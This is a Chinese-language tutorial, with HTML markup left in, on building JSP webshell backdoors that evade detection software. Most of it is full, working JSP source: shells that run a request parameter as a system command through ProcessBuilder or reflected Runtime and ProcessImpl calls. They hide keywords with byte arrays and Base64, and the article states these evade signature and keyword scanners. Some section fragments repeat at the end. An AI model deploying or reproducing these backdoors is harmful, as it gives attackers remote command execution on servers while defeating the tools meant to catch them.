Java反射与类加载机制绕过JSP后门检测技术详解<\/h1>

0x00 前言<\/h2>
JSP后门是指以.jsp等后缀结尾，可运行于Java servlet及相关容器和组件内的通用JSP脚本。本文详细讲解如何利用Java反射机制和类加载机制构造JSP系统命令执行后门，并绕过常规检测软件的方法。<\/p>

0x01 Java执行系统命令的原理<\/h2>

Java执行系统命令主要通过两个类实现：<\/p>

java.lang.Runtime<\/code><\/li>

java.lang.ProcessBuilder<\/code><\/li>
<\/ol>
JVM层面<\/h3>
这两个类都是对java.lang.Process<\/code>抽象类的实现。执行系统命令的过程是：JVM创建一个本机进程，加载对应指令到进程地址空间，然后执行该指令。<\/p>
代码层面<\/h3>
Runtime类分析：<\/strong><\/p>

构造器是private的，只能通过getRuntime()<\/code>获取实例<\/li>
exec()<\/code>方法底层调用ProcessBuilder<\/code>类<\/li>
<\/ul>
ProcessBuilder类分析：<\/strong><\/p>

使用start()<\/code>方法创建进程<\/li>
底层调用java.lang.ProcessImpl<\/code>类的start<\/code>方法<\/li>
ProcessImpl<\/code>是继承自Process<\/code>的final类<\/li>
ProcessImpl<\/code>构造器也是private的<\/li>
<\/ul>
调用关系图：<\/p>
Runtime.exec() → ProcessBuilder.start() → ProcessImpl.start()
<\/code><\/pre>
0x02 JSP基础标签<\/h2>

<%@ %><\/code> - 页面指令，设定页面属性和特征信息<\/li>
<% %><\/code> - java代码片段，不能声明方法<\/li>
<%! %><\/code> - java代码声明，声明全局变量或方法<\/li>
<%= %><\/code> - Java表达式<\/li>
<\/ul>
0x03 使用ProcessBuilder绕过检测<\/h2>
原始后门示例<\/h3>
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
<\/code><\/pre>
问题：包含"Runtime"、"exec"等明显关键词，易被检测<\/p>
改进版ProcessBuilder后门<\/h3>
<%@ page pageEncoding = "utf-8" %>
<%@ page import = "java.util.Scanner" %>
<HTML>
<title> Just For Fun <\/title>
<BODY>
<H3> Build By LandGrey <\/H3>
<FORM METHOD= "POST" NAME= "form" ACTION= "#" >
<INPUT TYPE= "text" NAME= "q" >
<INPUT TYPE= "submit" VALUE= "Fly" >
<\/FORM>
<%
String op = "Got Nothing" ;
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
    isWin = true;
} else {
    isWin = false;
}
if(query != null) {
    ProcessBuilder pb;
    if(isWin) {
        pb = new ProcessBuilder(new String(new byte[]{99,109,100}), 
                               new String(new byte[]{47,67}), query);
    } else {
        pb = new ProcessBuilder(new String(new byte[]{47,98,105,110,47,98,97,115,104}), 
                               new String(new byte[]{45,99}), query);
    }
    Process process = pb.start();
    Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
    op = sc.hasNext() ? sc.next() : op;
    sc.close();
}
%>
<PRE><%= op %>><\/PRE>
<\/BODY>
<\/HTML>
<\/code><\/pre>
绕过技术要点<\/h3>

避免敏感变量名（如"cmd"、"exec"等）<\/li>
字符串拆解重组（使用字节数组构造字符串）<\/li>
使用Scanner而非BufferedReader接收回显<\/li>
通过文件分隔符判断操作系统类型<\/li>
最小化导入的包<\/li>
<\/ol>
0x04 使用Java反射机制绕过检测<\/h2>
反射Runtime类示例<\/h3>
String op =<\/span> ""<\/span>;<\/span>
<\/span><\/span>Class rt =<\/span> Class.<\/span>forName<\/span>(<\/span>"java.lang.Runtime"<\/span>);<\/span>
<\/span><\/span>Method gr =<\/span> rt.<\/span>getMethod<\/span>(<\/span>"getRuntime"<\/span>);<\/span>
<\/span><\/span>Method ex =<\/span> rt.<\/span>getMethod<\/span>(<\/span>"exec"<\/span>,<\/span> String.<\/span>class<\/span>);<\/span>
<\/span><\/span>Process e =<\/span> (<\/span>Process)<\/span>ex.<\/span>invoke<\/span>(<\/span>gr.<\/span>invoke<\/span>(<\/span>null<\/span>,<\/span> new<\/span> Object[]{}),<\/span> "cmd \/c ping www.baidu.com"<\/span>);<\/span>
<\/span><\/span>Scanner sc =<\/span> new<\/span> Scanner(<\/span>e.<\/span>getInputStream<\/span>()).<\/span>useDelimiter<\/span>(<\/span>"\\A"<\/span>);<\/span>
<\/span><\/span>op =<\/span> sc.<\/span>hasNext<\/span>()<\/span> ?<\/span> sc.<\/span>next<\/span>()<\/span> :<\/span> op;<\/span>
<\/span><\/span>sc.<\/span>close<\/span>();<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>print<\/span>(<\/span>op);<\/span>
<\/span><\/span><\/code><\/pre>反射Runtime的JSP后门<\/h3>
<%@ page import = "java.util.Scanner" pageEncoding = "UTF-8" %>
<HTML>
<title> Just For Fun <\/title>
<BODY>
<H3> Build By LandGrey <\/H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
<\/FORM>
<%!
public static String getPicture(String str) throws Exception {
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    if(fileSeparator.equals("\\")){
        str = new String(new byte[]{99,109,100,46,101,120,101,32,47,67,32}) + str;
    } else {
        str = new String(new byte[]{47,98,105,110,47,98,97,115,104,32,45,99,32}) + str;
    }
    Class rt = Class.forName(new String(new byte[]{106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101}));
    Process e = (Process)rt.getMethod(new String(new byte[]{101,120,101,99}), String.class)
            .invoke(rt.getMethod(new String(new byte[]{103,101,116,82,117,110,116,105,109,101}))
            .invoke(null, new Object[]{}), new Object[]{str});
    Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
    String result = "";
    result = sc.hasNext() ? sc.next() : result;
    sc.close();
    return result;
}
%>
<%
String name = "Input Nothing";
String query = request.getParameter("q");
if(query != null) {
    name = getPicture(query);
}
%>
<pre><%= name %><\/pre>
<\/BODY>
<\/HTML>
<\/code><\/pre>
反射ProcessBuilder的JSP后门<\/h3>
<%@ page pageEncoding = "UTF-8" %>
<%@ page import = "java.util.List" %>
<%@ page import = "java.util.Scanner" %>
<%@ page import = "java.util.ArrayList" %>
<%@ page import = "sun.misc.BASE64Encoder" %>
<%@ page import = "sun.misc.BASE64Decoder" %>
<HTML>
<title> Just For Fun <\/title>
<BODY>
<H3> Build By LandGrey <\/H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
<\/FORM>
<%!
public static String getPicture(String str) throws Exception {
    List<String> list = new ArrayList<>();
    BASE64Decoder decoder = new BASE64Decoder();
    BASE64Encoder encoder = new BASE64Encoder();
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    if(fileSeparator.equals("\\")){
        list.add(new String(decoder.decodeBuffer("Y21k")));
        list.add(new String(decoder.decodeBuffer("L2M=")));
    } else {
        list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo")));
        list.add(new String(decoder.decodeBuffer("LWM=")));
    }
    list.add(new String(decoder.decodeBuffer(str)));
    Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
    Process s = (Process)PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ=")))
            .invoke(PB.getDeclaredConstructors()[0].newInstance(list));
    Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A");
    String result = "";
    result = sc.hasNext() ? sc.next() : result;
    sc.close();
    return encoder.encode(result.getBytes("UTF-8"));
}
%>
<%
String name = "Input Nothing";
String query = request.getParameter("q");
if(query != null) {
    name = getPicture(query);
}
%>
<pre><%= name %><\/pre>
<\/BODY>
<\/HTML>
<\/code><\/pre>
反射ProcessImpl类<\/h3>
虽然ProcessImpl类不是public的，但可以通过反射访问：<\/p>
import<\/span> java.util.Map;<\/span>
<\/span><\/span>import<\/span> java.lang.Process;<\/span>
<\/span><\/span>import<\/span> java.util.Scanner;<\/span>
<\/span><\/span>import<\/span> java.lang.reflect.Method;<\/span>
<\/span><\/span>import<\/span> java.lang.ProcessBuilder.Redirect;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> invoke_ProcessImpl<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        String op =<\/span> ""<\/span>;<\/span>
<\/span><\/span>        String dir =<\/span> "."<\/span>;<\/span>
<\/span><\/span>        String[]<\/span> cmdarray =<\/span> new<\/span> String[]{<\/span>"ping"<\/span>,<\/span> "127.0.0.1"<\/span>};<\/span>
<\/span><\/span>        Map<<\/span>String,<\/span> String><\/span> environment =<\/span> null<\/span>;<\/span>
<\/span><\/span>        Redirect[]<\/span> redirects =<\/span> null<\/span>;<\/span>
<\/span><\/span>        boolean<\/span> redirectErrorStream =<\/span> true<\/span>;<\/span>
<\/span><\/span>        
<\/span><\/span>        Class c =<\/span> Class.<\/span>forName<\/span>(<\/span>"java.lang.ProcessImpl"<\/span>);<\/span>
<\/span><\/span>        Method m =<\/span> c.<\/span>getDeclaredMethod<\/span>(<\/span>"start"<\/span>,<\/span> String[].<\/span>class<\/span>,<\/span> Map.<\/span>class<\/span>,<\/span> 
<\/span><\/span>                                      String.<\/span>class<\/span>,<\/span> Redirect[].<\/span>class<\/span>,<\/span> boolean<\/span>.<\/span>class<\/span>);<\/span>
<\/span><\/span>        m.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>        Process e =<\/span> (<\/span>Process)<\/span>m.<\/span>invoke<\/span>(<\/span>null<\/span>,<\/span> cmdarray,<\/span> environment,<\/span> dir,<\/span> redirects,<\/span> redirectErrorStream);<\/span>
<\/span><\/span>        
<\/span><\/span>        Scanner sc =<\/span> new<\/span> Scanner(<\/span>e.<\/span>getInputStream<\/span>()).<\/span>useDelimiter<\/span>(<\/span>"\\A"<\/span>);<\/span>
<\/span><\/span>        op =<\/span> sc.<\/span>hasNext<\/span>()<\/span> ?<\/span> sc.<\/span>next<\/span>()<\/span> :<\/span> op;<\/span>
<\/span><\/span>        sc.<\/span>close<\/span>();<\/span>
<\/span><\/span>        System.<\/span>out<\/span>.<\/span>print<\/span>(<\/span>op);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>0x05 使用Java类加载机制绕过检测<\/h2>
Java类加载机制是指JVM查找类的位置，将类字节码装入内存并生成对应Class对象的过程。<\/p>
类加载器类型<\/h3>

Bootstrap ClassLoader<\/strong> - 加载核心Java类<\/li>
Extension ClassLoader<\/strong> - 加载扩展类<\/li>
App ClassLoader<\/strong> - 加载应用类路径下的类<\/li>
<\/ol>
加载顺序：Bootstrap → Extension → App，遵循双亲委托模型。<\/p>
获取Class对象的四种方法<\/h3>


原生类.class<\/strong><\/p>
Class c =<\/span> java.<\/span>lang<\/span>.<\/span>Runtime<\/span>.<\/span>class<\/span>;<\/span>
<\/span><\/span><\/code><\/pre><\/li>

对象.getClass()<\/strong><\/p>
java.<\/span>lang<\/span>.<\/span>Runtime<\/span> obj =<\/span> java.<\/span>lang<\/span>.<\/span>Runtime<\/span>.<\/span>getRuntime<\/span>();<\/span>
<\/span><\/span>Class c =<\/span> obj.<\/span>getClass<\/span>();<\/span>
<\/span><\/span><\/code><\/pre><\/li>

Class.forName()<\/strong><\/p>
Class c =<\/span> Class.<\/span>forName<\/span>(<\/span>"java.lang.Runtime"<\/span>);<\/span>
<\/span><\/span>\/\/ 或
<\/span><\/span><\/span><\/span>Class c =<\/span> Class.<\/span>forName<\/span>(<\/span>"java.lang.Runtime"<\/span>,<\/span> false<\/span>,<\/span> ClassLoader.<\/span>getSystemClassLoader<\/span>());<\/span>
<\/span><\/span><\/code><\/pre><\/li>

ClassLoader<\/strong><\/p>
Class c =<\/span> ClassLoader.<\/span>getSystemClassLoader<\/span>().<\/span>loadClass<\/span>(<\/span>"java.lang.Runtime"<\/span>);<\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
0x06 技术总结<\/h2>
本文介绍的绕过技术主要通过以下方式实现：<\/p>

字符串混淆<\/strong> - 使用字节数组或Base64编码构造关键字符串<\/li>
反射机制<\/strong> - 动态获取和调用类方法，避免直接使用关键字<\/li>
类加载机制<\/strong> - 通过不同方式获取Class对象，增加检测难度<\/li>
环境判断<\/strong> - 自动识别操作系统类型选择合适命令<\/li>
输出处理<\/strong> - 使用Scanner等非常规方式处理命令输出<\/li>
<\/ol>
这些技术可以有效绕过基于关键词匹配和已知恶意脚本库比对的检测系统。<\/p>

Java反射与类加载机制绕过JSP后门检测技术详解<\/h1>

0x00 前言<\/h2> JSP后门是指以.jsp等后缀结尾，可运行于Java servlet及相关容器和组件内的通用JSP脚本。本文详细讲解如何利用Java反射机制和类加载机制构造JSP系统命令执行后门，并绕过常规检测软件的方法。<\/p>

JVM层面<\/h3> 这两个类都是对java.lang.Process<\/code>抽象类的实现。执行系统命令的过程是：JVM创建一个本机进程，加载对应指令到进程地址空间，然后执行该指令。<\/p>

0x03 使用ProcessBuilder绕过检测<\/h2>

0x04 使用Java反射机制绕过检测<\/h2>

0x05 使用Java类加载机制绕过检测<\/h2> Java类加载机制是指JVM查找类的位置，将类字节码装入内存并生成对应Class对象的过程。<\/p>

0x00 前言<\/h2>
JSP后门是指以.jsp等后缀结尾，可运行于Java servlet及相关容器和组件内的通用JSP脚本。本文详细讲解如何利用Java反射机制和类加载机制构造JSP系统命令执行后门，并绕过常规检测软件的方法。<\/p>

JVM层面<\/h3>
这两个类都是对`java.lang.Process<\/code>抽象类的实现。执行系统命令的过程是：JVM创建一个本机进程，加载对应指令到进程地址空间，然后执行该指令。<\/p>`

0x05 使用Java类加载机制绕过检测<\/h2>
Java类加载机制是指JVM查找类的位置，将类字节码装入内存并生成对应Class对象的过程。<\/p>